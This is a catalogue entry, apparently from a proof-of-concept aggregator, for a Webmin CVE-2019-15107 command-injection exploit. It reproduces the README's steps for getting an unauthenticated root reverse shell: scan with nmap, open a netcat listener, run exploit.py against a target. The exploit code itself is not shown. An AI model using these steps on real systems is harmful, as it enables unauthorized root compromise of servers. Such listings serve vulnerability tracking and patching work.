CVE-2019-15107 PoC — Webmin 命令操作系统命令注入漏洞

Source

https://github.com/squid22/Webmin_CVE-2019-15107

Associated Vulnerability

Title:Webmin 命令操作系统命令注入漏洞 (CVE-2019-15107)
Description:An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.

Description

CVE-2019–15107 - Unauthenticated RCE Webmin <=1.920

Readme

# CVE-2019–15107 - Unauthenticated RCE Webmin &lt;=1.920


This python script should give you a root shell on Webmin 1.890

Check with nmap:                                                                                                                                                                 
`nmap -sC -sV -p 10000 TARGET_IP`

Result:                                                                                                                                                                 
`10000/tcp open  http    MiniServ 1.890 (Webmin httpd)`

How to use this exploit:

Step 1:
    `nc -lnvp LPORT`

Step 2:
    `chmod +x exploit.py`

    ./exploit RHOST RPORT LHOST LPORT

    RHOST = the target
    RPORT = the target IP address (Usually 10000)
    LHOST = your kali box
    LPORT = your reverse shell port

Step 3:
Get a root shell!

DO NOT HARM UNAUTHORIZED SYSTEMS!!!

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!